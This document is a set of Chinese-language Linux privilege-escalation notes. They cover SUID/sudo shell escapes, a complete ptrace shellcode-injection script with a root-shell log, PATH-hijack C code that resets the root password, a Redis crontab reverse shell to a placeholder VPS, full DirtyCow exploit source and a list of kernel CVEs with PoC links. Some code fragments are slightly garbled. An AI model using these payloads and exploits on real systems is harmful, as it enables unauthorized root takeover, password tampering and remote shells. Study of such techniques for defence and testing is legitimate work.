资料:
CVE-2016-5195 DirtyCow:Linux内核提权漏洞分析
CVE-2016-5195 dirtycow linux本地提权漏洞分析2
Linux提权
一、权限机制滥用
1.SUID提权/SGID提权
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。注意SUID权限的设置只针对二进制可执行文件
Linux进程在运行时有三个UID:
Real UID 执行该进程的用户实际的UID
Effective UID 程序实际操作时生效的UID
Saved UID 在高权限用户降权后,保留的其原本UID
通常情况下Effective UID和Real UID相等,所以普通用户不能写入/etc/passwd
;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。
通过find命令查找具有SUID/SGID权限的命令:
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
sgid问题 ,提权以后对root目录文件没有执行权限
常见的suid提权命令:
map //nmap --interactive
vim //:set shell=/bin/sh
find //find xxx -exec bash -p \;
bash //bash -p
more //!/bin/sh
less //!/bin/sh
awk //awk 'BEGIN {system("whoami")}'
perl. //perl -e 'exec "/bin/sh";'
wget
sed
python
...
目前已知的命令
questions:
1.sgid提权 /root/目录下的脚本没有执行权限?
答:在执行非二进制文件时,euid/egid权限会失效
可以看出chmod命令很明显继承了find的SUID权限,但是shell脚本则不会继承
那么 如何获得权限?
1.通过setuid赋予权限
(但是gcc编译的时候会报错没有setuid.c的执行权限,使用root编译了一下。这里假设setuid是用wget下载或base64写入等途径而来)
2.或者利用继承的suid权限,利用可以setuid的命令提权
note:
1.有的二进制命令在setuid之前也会检测real uid,如bash
2.bash执行的时候也有保护措施,不使用bash -p进入新shell则无法保留suid
3.suid提权有setuid和setgid的权限,但sgid提权没有setuid和setgid的权限
2.SUDO提权
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,当一般用户执行特殊权限时。在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了用户或组可以以root权限使用的命令。
通过修改/etc/sudoers,可以让普通用户执行root命令并且不需要密码
work ALL=(root) NOPASSWD: /usr/bin/find
常见的sudo提权的命令与suid提权类似但有略微区别:
crontab(默认suid权限) //sudo crontab -e
map //sudo nmap --interactive
find //sudo find xxx -exec bash -p \;
bash //sudo bash -p
awk //sudo awk 'BEGIN {system("whoami")}'
perl. //sudo perl -e 'exec "/bin/sh";'
wget
sed
python
...
详见:
3.Capabilities提权
Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。
在Capilities中,只有进程和可执行文件才具有能力,每个进程拥有三组能力集,分别称为cap_effective, cap_inheritable, cap_permitted(分别简记为:pE,pI,pP),其中cap_permitted表示进程所拥有的最大能力集;cap_effective表示进程当前可用的能力集,可以看做是cap_permitted的一个子集;而cap_inheitable则表示进程可以传递给其子进程的能力集。系统根据进程的cap_effective能力集进行访问控制,cap_effective为cap_permitted的子集,进程可以通过取消cap_effective中的某些能力来放弃进程的一些特权。可执行文件也拥有三组能力集,对应于进程的三组能力集,分别称为cap_effective, cap_allowed 和 cap_forced(分别简记为fE,fI,fP),其中,cap_allowed表示程序运行时可从原进程的cap_inheritable中集成的能力集,cap_forced表示运行文件时必须拥有才能完成其服务的能力集;而cap_effective则表示文件开始运行时可以使用的能力。
CapInh (Inheritable): 继承权限掩码。子进程继承的权限。
CapPrm (Permitted): 允许权限掩码。进程可以持有的权限。
CapEff (Effective): 有效权限掩码。当前进程实际生效的权限。
CapBnd (Bounding): 边界权限掩码。进程能够持有的最大权限。
CapAmb (Ambient): 环境权限掩码。继承自父进程且在进程环境中有效的权限。
cap_sys_ptrace提权日志记录:
1.为python2.7赋予cap_sys_ptrace+eip权限
2.尝试注入root进程,为防止系统崩溃,选择门神进程注入
3.exp执行后注入的进程会启动5600端口(shellcode 为创建套接字并绑定到 5600 端口,输出输入重定向进入新shell),使用nc主动连接端口
root 62254 62238 0 14:15 ? 00:00:00 /home/dils/openssh/bin/auditer -u none -h root
[work@leichi-managebu ~]$ python2.7 2.py 62254
Instruction Pointer: 0x465b73L
Injecting Shellcode at: 0x465b73L
Shellcode Injected!!
Final Instruction Pointer: 0x465b75L
[work@le ~]$ nc 0.0.0.0 5600. (pid为45180)
id
uid=0(root) gid=0(root) groups=0(root)
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
cat /proc/self/status
Name: cat
Umask: 0022
State: R (running)
Tgid: 47694
Ngid: 0
Pid: 47694
PPid: 43531
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
FDSize: 64
Groups:
VmPeak: 4384 kB
VmSize: 4384 kB
VmLck: 0 kB
VmPin: 0 kB
VmHWM: 360 kB
VmRSS: 360 kB
RssAnon: 76 kB
RssFile: 284 kB
RssShmem: 0 kB
VmData: 180 kB
VmStk: 132 kB
VmExe: 44 kB
VmLib: 1944 kB
VmPTE: 32 kB
VmSwap: 0 kB
Threads: 1
SigQ: 0/64101
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
CapAmb: 0000000000000000
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
fields = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
setuid:
getcap -r / 2>/dev/null
setcap cap_setuid+ep /usr/bin/python2.7
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
二、权限控制不当类
查找可写的目录
find / -writable -type d 2>/dev/null
1.写入计划任务提权
1.1 root权限定时任务脚本普通用户可写
定时任务以root权限执行的定时任务或其所在文件夹,低权限用户拥有写权限,则可进行提权
通过普通用户查看/var/spool/cron目录下发现有写入权限,尝试写入命令
echo '*/2 * * * * sh /tmp/test.sh' >> root
1.2 root权限定时任务调用的脚本普通用户可写
定时任务调用的脚本权限控制不当:
*/2 * * * * sh /tmp/test.sh
发现root任务/tmp/test.sh脚本,普通用户存在修改权限,通过修改定时任务调用的脚本来进行提权
1.3 tar 通配符注入
2.环境变量劫持提权
2.1具有S权限的程序
具有s权限位的这些程序中如果存在可控环境变量: 如存在调用ps程序,我们可以在低权限用户可写目录中写一个ps文件,内容为/bin/bash,然后将此目录添加到环境变量最优先寻找的目录,再执行脚本,脚本就会以root权限触发/bin/bash,就产生了一个root权限的shell,完成提权。
export PATH=/home/test:$PATH
2.2 ROOT的环境变量目录可控
root的$PATH若设置了用户可控的目录,用户可以在此可控目录写入一些命令并诱导root用户输入,或配置一些容易输错的单词如whomai、chomd等,当然我们可以配置非常多的文件名来增加触发概率
vim whomai
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(0);
system("echo "root:password" |chpasswd >> /dev/null 2>&1");
return 0;
}
2.3 su切换导致ROOT携带用户环境变量
su -: 会切换用户,也会把用户变量也切换到下一个用户的环境变量
su : 只是会切换用户,但是当前的环境变量还是以前用户的环境变量
linux系统在使用su切换时,会携带当前用户的环境变量,使用su -则不会,通过预定义一个命令进行提权
export PATH=/home/test/ps:$PATH
vim ps
#include <stdio.h>
#include <stdlib.h>
int main() {
setuid(0);
system("echo "root:password" |chpasswd >> /dev/null 2>&1");
return 0;
}
那么在从此用户切换到root使用ps时就会修改掉root用户密码。
3./etc/passwd (/etc/shadow)可写
4.root下SSH目录可写
5./etc/sudoers可写
...
三、服务提权
1.Docker组提权
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力
在docker组的普通用户执行此命令就可以获得root权限:
此时,虽然是在容器环境内,但是已经可以对文件进行任意操作了
2.LXC/LXD组提权
LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。
LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。
同docker
3.Mysql提权
UDF提权:
UDF (user defined function)
,即用户自定义函数。是通过添加新函数,对MySQL
的功能进行扩充,就像使用本地函数如 user()
一样。
条件:
获取mysql控制权限
mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空。
将lib_mysqludf_sys.so写入到plugin目录下 通过mysql创建自定义函数
写webshell
写ssh公钥
...
4.Redis提权
前提:由于redis未授权访问漏洞/弱口令/密码泄露,redis已经被成功登录
redis拥有高权限
使用crontab定时任务反弹shell
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/VPS/4444 0>&1\n\n"
save
写webshell
写ssh公钥
....
思路:本质应该是检测mysql、redis等服务写入文件的操作
问题:没日志
5.NFS提权
非本地提权
NFS简介:
网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。
Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话的话”,并为远程用户授予root用户对所连接系统的访问权限。
如下图所示,该共享可以被远程root连接并读写,并且具有root权限,所以可以添加bash文件并赋予SUID权限,在目标机器的普通用户权限下可以执行bash文件,获取root权限。
查看NFS服务器上的共享目录
sudo showmount -e 10.32.140.130
本地挂载目录,即可获得此目录全部控制权限
在shell上使用shell -p
参数获取root权限
其他服务漏洞/配置不当提权.....
四、漏洞利用
1.CVE-2019-14287 sudo权限绕过提权漏洞
Sudo配置不当,可绕过Sudo的exec_setup函数利用exec_cmnd
进行特权提升
当我们执行sudo命令时,sudo会调用系统函数setresuid()和setreuid()。系统函数在对参数做处理时会将-1返回为0,当我们执行payload:sudo -u#-1 id,sudo -u#4294967295 id 会自动以用户ID 0的身份执行。由于通过-u选项指定的UserID在密码数据库中不存在,因此不会触发任何PAM模块权限检查
条件:1.sudo版本<1.8.28
2./etc/sudoers中允许当前用户使用sudo命令
work ALL=(ALL,!root) ALL
修复补丁:
/* Disallow id -1, which means "no change". */
if (!valid_separator(p, ep, sep) || llval -1 || llval (id_t)UINT_MAX) {
if (errstr != NULL)
*errstr = N_("invalid value");
errno = EINVAL;
goto done;
}
2.CVE-2016-5195 Linux脏牛本地提权漏洞
漏洞影响版本:Linux kernel >= 2.6.22
简要分析:
该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
核心问题:
1.条件竞争漏洞
2.mmap 内存映射
这是一个相对比较常用的函数,这个函数的一个很重要的用处就是将磁盘上的文件映射到虚拟内存中,对于这个函数唯一要说的就是当flags的MAP_PRIVATE被置为1时,对mmap得到内存映射进行的写操作会使内核触发COW操作,写的是COW后的内存,不会同步到磁盘的文件中。
3.cow
4./proc/self/mem
这个文件是一个指向当前进程的虚拟内存文件的文件,当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间,并无视内存映射时的权限设置。也就是说我们可以利用写/proc/self/mem来改写不具有写权限的虚拟内存。可以这么做的原因是/proc/self/mem是一个文件,只要进程对该文件具有写权限,那就可以随便写这个文件了,只不过对这个文件进行读写的时候需要一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。
触发原理:
当调用write系统调用向/proc/self/mem文件中写入数据时,进入内核态后内核会调用get_user_pages函数获取要写入内存地址。get_user_pages会调用follow_page_mask来获取这块内存的页表项,并同时要求页表项所指向的内存映射具有可写的权限。
第一次获取内存的页表项会因为缺页而失败。get_user_page调用faultin_page进行缺页处理后第二次调用follow_page_mask获取这块内存的页表项,如果需要获取的页表项指向的是一个只读的映射,那第二次获取也会失败。这时候get_user_pages函数会第三次调用follow_page_mask来获取该内存的页表项,并且不再要求页表项所指向的内存映射具有可写的权限,这时是可以成功获取的,获取成功后内核会对这个只读的内存进行强制的写入操作。
这个实现是没有问题的,因为本来写入/proc/self/mem就是一个无视映射权限的强行写入,就算是文件映射到虚拟内存中,也不会出现越权写:
如果写入的虚拟内存是一个VM_PRIVATE的映射,那在缺页的时候内核就会执行COW操作产生一个副本来进行写入,写入的内容是不会同步到文件中的
如果写入的虚拟内存是一个VM_SHARE的映射,那mmap能够映射成功的充要条件就是进程拥有对该文件的写权限,这样写入的内容同步到文件中也不算越权了。
但是,在上述流程中,如果第二次获取页表项失败之后,另一个线程调用madvice(addr,addrlen,
MADV_DONTNEED),其中addr~addr+addrlen是一个只读文件的VM_PRIVATE的只读内存映射,那该映射的页表项会被置空。这时如果get_user_pages函数第三次调用follow_page_mask来获取该内存的页表项。由于这次调用不再要求该内存映射具有写权限,所以在缺页处理的时候内核也不再会执行COW操作产生一个副本以供写入。所以缺页处理完成后后第四次调用follow_page_mask获取这块内存的页表项的时候,不仅可以成功获取,而且获取之后强制的写入的内容也会同步到映射的只读文件中。从而导致了只读文件的越权写。
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
void *map;
int f;
struct stat st;
char *name;
void madviseThread(void arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void procselfmemThread(void arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
if (argc<3)return 1;
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
get_user_pages{//这是一个Wrap
...
return __get_user_pages() //获取用户内存的核心函数
...
}
__get_user_pages(vma,...,int flag,...){
...
retry:
...
page = follow_page_mask(...,flag,...); //获取页表项
if (!page) {
int ret;
ret = faultin_page(vma,...); //获取失败时会调用这个函数
switch (ret) {
case 0://如果返回为0,就重试,这是一个循环
goto retry;
...
}
}
follow_page_mask(...,flag,...){
//这个函数会走 页一集目录->二级目录->页表项 的传统页式内存的管理流程
...
return follow_page_pte(...,flag,...); //走到了流程的第三步:寻找页表项
...
}
follow_page_pte(...,flag,...){
...
//如果获取页表项时要求页表项所指向的内存映射具有写权限,但是页表项所指向的内存并没有写权限。则会返回空
if ((flags & FOLL_WRITE) && !pte_write(pte)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
//获取页表项的请求不要求内存映射具有写权限的话会返回页表项
return pages;
...
}
faultin_page(vma,){
...
//处理page fault
ret = handle_mm_fault();
//这个if对应了上一个函数的注释,如果是因为映射没有写权限导致的获取页表项失败,会去掉flags中的FOLL_WRITE标记,从而使的获取页表项不再要求内存映射具有写的权限。
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
...
return 0;
}
handle_mm_fault(){
__handle_mm_fault()
}
__handle_mm_fault(){
handle_pte_fault()
}
handle_pte_fault(){
//页表为空,说明缺页。调用do_fault调页
if (!fe->pte) {
...
return do_fault(fe);
}
//页表不为空,但是要写入的页没有写权限,这时可能需要COW
if (fe->flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(fe, entry);
...
}
}
do_fault(fe){
//如果不要求目标内存具有写权限时导致缺页,内核不会执行COW操作产生副本
if (!(fe->flags & FAULT_FLAG_WRITE))
return do_read_fault(fe, pgoff);
//如果要求目标内存具有写权限时导致缺页,目标内存映射是一个VM_PRIVATE的映射,内核会执行COW操作产生副本
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(fe, pgoff);
}
do_cow_fault(fe,pgoff){
//执行COW, 并更新页表为COW后的页表。
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, fe->address);
...
// __do_fault会将内存
ret = __do_fault(fe, pgoff, new_page, &fault_page, &fault_entry);
...
copy_user_highpage(new_page, fault_page, fe->address, vma);
ret |= alloc_set_pte(fe, memcg, new_page);
...
return ret
}
do_read_fault(fe,pgoff){
...
//不执行COW,直接映射文件。
__do_fault(fe, pgoff, NULL, &fault_page, NULL);
...
ret |= alloc_set_pte(fe, NULL, fault_page);
...
ret
}
alloc_set_pte(fe,...){
bool write = fe->flags & FAULT_FLAG_WRITE;
//如果执行了COW,设置页表时会将页面标记为脏,但是不会标记为可写。
if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
}
do_wp_page(fe,entry){
....
//内核通过检查,发现COW操作已经在缺页处理时完成了,所以不再进行COW,而是直接利用之前COW得到的页表项
return wp_page_reuse(fe, orig_pte, old_page, 0, 0);
}
wp_page_reuse(){
将页面标记为脏,但是不会标记为可写。
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
}
maybe_mkwrite(){
//这就是maybe_mkwrite不会标记页为可写的原因,因为这个页为只读页。所以不满足if的条件
if (likely(vma->vm_flags & VM_WRITE))
pte = pte_mkwrite(pte);
return pte;
}
write系统调用在内核中会执行get_user_pages以获取需要写入的内存页,get_user_pages函数会调用follow_page_mask函数寻找内存页对应的页表项,由于这是mmap后第一次对Mappedmem进行操作,所以Mappedmem所对应的页表为空,pagefault,get_user_pages调用faultin_page函数进行处理,faultin_page函数会调用handle_mm_fault进行缺页处理。缺页处理时,如果页表为空,内核会调用do_fault函数调页,这个函数会检查是否是因为内存写造成的缺页以及该内存是否是以private方式map的内存,如果是,则会进行COW操作,更新页表为COW后的页表。并将返回值的FAULT_FLAG_WRITE位置为1(正确分词:某某位 置为1,下同)
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault <- pte is not present
do_cow_fault <- FAULT_FLAG_WRITE
alloc_set_pte
maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty
but keep it RO
get_user_pages会第二次调用follow_page_mask寻找页表项,follow_page_mask会调用follow_page_pte函数,这个函数会通过flag参数的FOLL_WRITE位是否为1判断要是否需要该页具有写权限,以及通过页表项的VM_WRITE位是否为1来判断该页是否可写。由于Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0,又因为我们要求页表项要具有写权限,所以FOLL_WRITE为1,从而导致这次寻页会再次触发一个pagefault,faultin_page会再次调用handle_mm_fault进行处理。
# Returns with 0 and retry
follow_page_mask
follow_page_pte
(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault
由于这次pagefault时页表不为空,所以不会执行do_fault函数调页,转而会去检查pagefault是否是由于要写不可写的地址导致的,如果是则会调用do_wp_page进行COW操作,不过值得注意的是,do_wp_page会进行一系列的检查来判断是否需要真的进行COW操作,如果没必要,则会直接REUSE原来的页来作为COW后的页。因为在调页过程中已经进行过COW过了,所以直接reuse了调页COW后的内存页。之后handle_mm_fault的返回值的VM_FAULT_WRITE位会被置为1。接着faultin_page会通过判断handle_mm_fault返回值的VM_FAULT_WRITE位是否为1来判断COW是否顺利完成,以及通过页表项VM_WRITE位是否为1来判断该内存是否可写。如果内存不可写且COW操作已经顺利完成,这说明mmap的内存区本来就是只读内存,因此为将FOLL_WRITE位置为0并返回到get_user_pages函数中
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
FAULT_FLAG_WRITE && !pte_write
do_wp_page
PageAnon() <- this is CoWed page already
reuse_swap_page <- page is exclusively ours
wp_page_reuse
maybe_mkwrite <- dirty but RO again
ret = VM_FAULT_WRITE
((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE
get_user_pages第三次调用follow_page_mask进行寻页,注意此时的FOLL_WRITE已被置为0,也就是在寻页的时候不再需要页具有写权限。正常来说,这次寻页会成功的得到Mappedmem的页表项从而继续进行写操作。但是如果这时Thread2通过madvise(Mappedmem,DONT_NEED)系统调用,通知内核Mappedmem在接下来不会被使用。内核会将Mappedmem所在页的页表项置为空。这样就再次导致了pagefault,内核会调用do_fault函数调页。不过由于这次寻页并不要求被寻找的页具有写权限,所以不会像步骤4那样产生COW。如果接下来get_user_pages第四次调用follow_page_mask进行寻页的话,会成功返回对应的页表项,接下来的写入操作会被同步到只读的文件中。从而造成了越权写。
# Returns with 0 and retry as a read fault
cond_resched -> different thread will now unmap via madvise
follow_page_mask
!pte_present && pte_none
faultin_page
handle_mm_fault
__handle_mm_fault
handle_pte_fault
do_fault <- pte is not present
do_read_fault <- this is a read fault and we will get pagecache
page!
漏洞介绍及修复建议:https://www.jianshu.com/p/df72d1ee1e3e
CVE-2016-4557 Linux-raspi2本地提权漏洞
漏洞影响版本:Linux kernel <= 4.5.4
漏洞介绍及修复建议:https://vuldb.com/zh/?id.87604
CVE-2016-0728 Linux内核提权漏洞
漏洞影响版本:Linux kernel >= 3.8.x
漏洞介绍及修复建议:https://www.anquanke.com/post/id/83342
POC/EXP:https://github.com/SecWiki/linux-kernel-exploits/blob/master/2016/CVE-2016-0728/cve-2016-0728.c
CVE-2023-0386 LINUX OVERLAYFS本地权限提升漏洞
漏洞影响版本:v5.11-rc1 <= Linux Kernel <= v6.2-rc5
漏洞介绍及修复建议:http://blog.nsfocus.net/linux-overlayfscve-2023-0386/
CVE-2023-0179 Linux 本地内核提权漏洞
漏洞影响版本:all Linux versions from 5.5 to 6.2-rc3
漏洞介绍及修复建议:https://www.ctfiot.com/100156.html
CVE-2022-34918 Linux Kernel本地权限提升漏洞
漏洞影响版本:5.8 <= Linux Kernel <= 5.18.9
POC/EXP:https://github.com/randorisec/CVE-2022-34918-LPE-PoC
CVE-2022-32250 Linux 本地权限提升漏洞
漏洞影响版本:Linux kernel <= 5.18.1
漏洞介绍及修复建议:http://www.nsfocus.net/vulndb/65587
CVE-2022-29799/CVE-2022-29800 Linux Nimbuspwn本地提权漏洞
漏洞影响版本:networkd-dispatcher < 2.2.1-0
CVE-2022-23222 Linux kernel本地提权漏洞
漏洞影响版本:Linux 内核版本 <= 5.15.14
CVE-2022-2639 Linux Kernel openvswitch模块权限提升漏洞
漏洞影响版本:v3.13 <= Linux Kernel < v5.18
POC/EXP:https://github.com/veritas501/CVE-2022-2639-PipeVersion
CVE-2022-2588 Linux kernel DirtyCred提权漏洞
漏洞影响版本:Linux kernel 内核版本 < 5.8
漏洞介绍及修复建议:https://cn-sec.com/archives/1258478.html
CVE-2022-0995 Linux kernel内核提权漏洞
漏洞影响版本:Linux 内核版本 <= 5.17-rc7
漏洞介绍及修复建议:http://vul.tidesec.com/index/view?type=new&id=264279
POC/EXP:https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555
CVE-2022-0847 Linux Dirty Pipe本地提权漏洞
漏洞影响版本5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
POC/EXP:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
CVE-2021-43267 Linux kernel TIPC任意代码执行权限提升漏洞
漏洞影响版本:5.10 < Linux Kernel < 5.15
漏洞介绍及修复建议:https://www.secrss.com/articles/36572
CVE-2021-42008 Linux kernel越界写入权限提升漏洞
漏洞影响版本:2.1.94 <= Linux kernel <= 5.13.3
漏洞介绍及修复建议:https://www.jianshu.com/p/d4d2874ed356
CVE-2021-33909 Linux kernel本地提权漏洞
漏洞影响版本:3.16 <= Linux kernel <= 5.13.3
漏洞介绍及修复建议:https://www.4hou.com/posts/lXGJ
CVE-2021-31440 Linux内核eBPF提权漏洞
漏洞影响版本:Linux kernel >= 5.7
漏洞介绍及修复建议:https://www.anquanke.com/post/id/242567
POC/EXP:暂无
CVE-2021-22555 Linux Netfilter越界写提权漏洞
漏洞影响版本:2.6.19-rc1 <= Linux Kernel
漏洞介绍及修复建议:https://www.anquanke.com/post/id/251515
POC/EXP:https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/exploit.c
CVE-2021-4204 Linux kernel权限提升漏洞
漏洞影响版本:5.8 <= Linux Kernel <= 5.16
漏洞介绍及修复建议:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202201-897
CVE-2021-4034 pkexec本地提权漏洞
漏洞影响版本:大多数主流linux系统均受影响
漏洞介绍及修复建议:https://cert.360.cn/warning/detail?id=25d7a6ec96c91ca4e4238fd10da2c778
POC/EXP:https://github.com/EstamelGG/CVE-2021-4032-NoGCC/releases/tag/v1.0
CVE-2021-3560 Polkit权限提升漏洞
漏洞影响版本:RHEL8 | Fedora21及更高版本 | Debiantesting("bullseye") | Ubuntu20.04
漏洞介绍及修复建议:https://www.freebuf.com/vuls/281081.html
CVE-2021-3493 Linux kernel本地提权漏洞
漏洞影响版本:Ubuntu 20.10 | Ubuntu 20.04 LTS | Ubuntu 18.04 LTS | Ubuntu 16.04 LTS | Ubuntu 14.04 ESM
CVE-2021-3490 Linux_LPE_eBPF本地提权漏洞
漏洞影响版本:Ubuntu 20.10(Groovy Gorilla)kernels 5.8.0(25.26)-5.8.0(52.58) | Ubuntu 21.04(Hirsute Hippo)5.11.0(16.17)
漏洞介绍及修复建议:https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story
POC/EXP:https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490
CVE-2021-3156 Sudo堆缓冲区溢出提权漏洞
漏洞影响版本:Sudo 1.8.2-1.8.31p2 | Sudo 1.9.0-1.9.5p1
漏洞介绍及修复建议:https://www.freebuf.com/vuls/270839.html
POC/EXP:https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit
CVE-2020-27194 Linux内核eBPF权限提升漏洞
